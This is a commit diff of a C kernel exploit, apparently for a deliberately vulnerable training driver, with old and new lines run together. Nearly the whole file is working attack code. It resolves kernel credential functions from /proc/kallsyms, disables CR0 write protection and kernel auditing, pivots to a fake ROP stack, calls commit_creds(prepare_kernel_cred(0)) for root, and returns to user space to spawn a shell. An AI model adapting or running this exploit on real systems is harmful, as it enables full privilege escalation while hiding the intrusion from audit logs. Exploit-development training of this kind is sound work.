openSUSE 4.1.27-27-default

This commit is contained in:
Andy 2016-10-09 10:33:03 +02:00
parent 29f751183f
commit 421f91557c
Signed by: arno
GPG Key ID: 368DDA2E9A471EAC

View File

@ -1,10 +1,19 @@
/** /**
* ROP exploit for drv.c kernel module * ROP exploit for drv.c kernel module
* *
* Tested in: Linux 4.1.27-27-default - openSUSE Leap 42.1 (x86_64)
* Running in: qemu 2.5.0 / i7-4500U
*
* Compile:
* gcc rop_exploit.c -O2 -o rop_exploit * gcc rop_exploit.c -O2 -o rop_exploit
* *
* Email: vnik@cyseclabs.com * Email: andrey.arapov@nixaid.com
* Vitaly Nikolenko * Andrey Arapov
*
* Based on Vitaly Nikolenko's work:
* https://github.com/vnik5287/kernel_rop/
*
* Additional thanks to spender!
*/ */
#define _GNU_SOURCE #define _GNU_SOURCE
@ -18,21 +27,58 @@
#include <errno.h> #include <errno.h>
#include <sys/mman.h> #include <sys/mman.h>
#include <assert.h> #include <assert.h>
#include <sys/utsname.h>
#include "drv.h" #include "drv.h"
#define DEVICE_PATH "/dev/vulndrv" #define DEVICE_PATH "/dev/vulndrv"
#define EFL_RESERVED1 (1 << 1)
#define EFL_PARITY (1 << 2)
#define EFL_ZEROFLAG (1 << 6)
#define EFL_INTERRUPTENABLE (1 << 9)
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
/* for insta-iopl 3, for whatever reason!
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
*/
unsigned long user_cs; unsigned long user_cs;
unsigned long user_ss; unsigned long user_ss;
unsigned long user_rflags; unsigned long user_rflags;
static void save_state() { typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
asm( typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
"movq %%cs, %0\n" _commit_creds commit_creds;
"movq %%ss, %1\n" _prepare_kernel_cred prepare_kernel_cred;
int *audit_enabled;
char *exit_stack;
static void get_segment_descriptors(void)
{
#ifdef __x86_64__
asm volatile (
"movq %%cs, %0 ;"
"movq %%ss, %1 ;"
"pushfq\n" "pushfq\n"
"popq %2\n" "popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); : "=r" (user_cs),
"=r" (user_ss),
"=r" (user_rflags)
: : "memory"
);
#else
asm volatile (
"push %%cs ;"
"pop %0 ;"
"push %%ss ;"
"pop %1 ;"
: "=r" (user_cs),
"=r" (user_ss)
: : "memory"
);
#endif
} }
void shell(void) { void shell(void) {
@ -42,6 +88,180 @@ void shell(void) {
exit(0); exit(0);
} }
int __attribute__((regparm(3))) get_root()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* greets to qaaz */
static void exit_kernel(void)
{
#ifdef __x86_64__
asm volatile (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "r" (user_ss),
"r" (exit_stack + (1024 * 1024) - 0x80),
"r" (user_rflags),
// "i" (USER_EFLAGS),
"r" (user_cs),
"r" (shell)
);
#else
asm volatile (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "r" (user_ss),
"r" (exit_stack + (1024 * 1024) - 0x80),
"r" (user_rflags),
// "i" (USER_EFLAGS),
"r" (user_cs),
"r" (shell)
);
#endif
}
unsigned long inline get_cr0(void)
{
unsigned long _cr0;
asm volatile (
"mov %%cr0, %0"
: "=r" (_cr0)
);
return _cr0;
}
void inline set_cr0(unsigned long _cr0)
{
asm volatile (
"mov %0, %%cr0"
:
: "r" (_cr0)
);
}
int inline turn_off_wp(void)
{
unsigned long _cr0;
_cr0 = get_cr0();
_cr0 &= ~0x10000;
set_cr0(_cr0);
return 1;
}
void inline turn_on_wp(void)
{
unsigned long _cr0;
_cr0 = get_cr0();
_cr0 |= 0x10000;
set_cr0(_cr0);
}
int __attribute__((regparm(3))) disable_audit()
{
if (audit_enabled)
*audit_enabled = 0;
return;
}
int __attribute__((regparm(3))) enable_audit()
{
if (!audit_enabled == 1)
*audit_enabled = 1;
return;
}
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
void usage(char *bin_name) { void usage(char *bin_name) {
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
} }
@ -51,51 +271,123 @@ int main(int argc, char *argv[])
int fd; int fd;
struct drv_req req; struct drv_req req;
void *mapped, *temp_stack; void *mapped, *temp_stack;
unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;
if (argc != 3) { if (argc != 3) {
usage(argv[0]); usage(argv[0]);
return -1; return -1;
} }
audit_enabled = (int *)get_kernel_sym("audit_enabled");
// commit_creds = (_commit_creds) 0xffffffff810887a0UL;
// prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff81088a80UL;
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
if (commit_creds == NULL || prepare_kernel_cred == NULL)
return -1;
/*
* req.offset
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
* req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) )
*/
req.offset = strtoul(argv[1], NULL, 10); req.offset = strtoul(argv[1], NULL, 10);
base_addr = strtoul(argv[2], NULL, 16); base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure
printf("array base address = 0x%lx\n", base_addr); printf("array base address = 0x%lx\n", base_addr);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
mmap_addr = stack_addr & 0xffff0000; stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);
save_state(); /*
* allocate space in memory where the fake_stack will be stored.
*/
mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's
mapped = mmap((void*)mmap_addr, 0x20000,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
assert(mapped == (void*)mmap_addr);
temp_stack = mmap((void*)0x30000000, 0x10000000,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
assert(temp_stack == (void*)0x30000000);
// save state
get_segment_descriptors();
exit_stack = (char *)calloc(1, 1024 * 1024);
if (exit_stack == NULL) {
fprintf(stdout, "Unable to alloc exit_stack\n");
exit(1);
}
// fake_stack begins here
fake_stack = (unsigned long *)(stack_addr); fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ *fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret
fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); /*
* Making sure that in reality 0x314c is 0x314c:
* $ grep 0x14ff $(uname -r).gadgets
* 0xffffffff81034898 : xchg eax, esp ; ret 0x314c
*
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
* (gdb) x/2i 0xffffffff81034898
* 0xffffffff81034898: xchg %eax,%esp
* 0xffffffff81034899: retq $0x314c
*
*/
*fake_stack ++= 0x0UL; /* NULL */ // Update fake_stack's pointer
*fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ fake_stack = (unsigned long *)(stack_addr + 0x314c + 8);
*fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ /*
//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ * To switch our process's owner to root, it is enough to execute:
*fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions * commit_creds(prepare_kernel_cred(0)) syscalls
* rdx(rax(0))
*fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */ *
* Not sure why, but it fails when using bare ROP,
*fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret * so I will use a function pointer.
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder */
*fake_stack ++= (unsigned long)turn_off_wp;
*fake_stack ++= 0xffffffff81053056UL; /* iretq */ *fake_stack ++= (unsigned long)disable_audit;
*fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= (unsigned long)get_root;
*fake_stack ++= user_cs; /* saved CS */
*fake_stack ++= user_rflags; /* saved EFLAGS */
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
*fake_stack ++= user_ss; /* saved SS */
//map = mmap((void *)..., ..., 3, 0x32, 0, 0); // *fake_stack ++= 0xffffffff81000a9bUL; // pop %rdi; ret
// *fake_stack ++= 0x0UL; // rdi is NULL
// *fake_stack ++= 0xffffffff81088a80UL; // prepare_kernel_cred() and $rax points to cred struct
// *fake_stack ++= 0xffffffff81013926UL; // pop %rdx; ret
// //// *fake_stack ++= 0xffffffff810887a0UL; // commit_creds()
// // *fake_stack ++= 0xffffffff810887a5UL; // commit_creds() + 1 instruction
// *fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret
// *fake_stack ++= 0xffffffff810fdf41UL; // mov rdi, rax; call rdx => calls commit_creds(prepare_kernel_cred(0))
*fake_stack ++= (unsigned long)turn_on_wp;
// *fake_stack ++= (unsigned long)enable_audit;
/*
* safely return to user-space from the kernel-space
* you can use exit_kernel function or a bare ROP available below.
*/
// *fake_stack ++= (void *)&exit_kernel;
*fake_stack ++= (unsigned long)exit_kernel;
// safely return to user-space from the kernel-space
// *fake_stack ++= 0xffffffff8104dc20UL; // swapgs ; ret
// *fake_stack ++= 0xffffffff816667e7UL; // iretq
// *fake_stack ++= (unsigned long)shell; // spawn a shell
// *fake_stack ++= user_cs; // saved CS
// *fake_stack ++= user_rflags; // saved EFLAGS
// *fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space
// *fake_stack ++= user_ss; // saved SS
fd = open(DEVICE_PATH, O_RDONLY); fd = open(DEVICE_PATH, O_RDONLY);
@ -103,7 +395,13 @@ int main(int argc, char *argv[])
perror("open"); perror("open");
} }
/*
* trigger the vulnerable Linux kernel driver now,
* pointing to our fake_stack
*/
ioctl(fd, 0, &req); ioctl(fd, 0, &req);
return 0; return 0;
} }
// vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4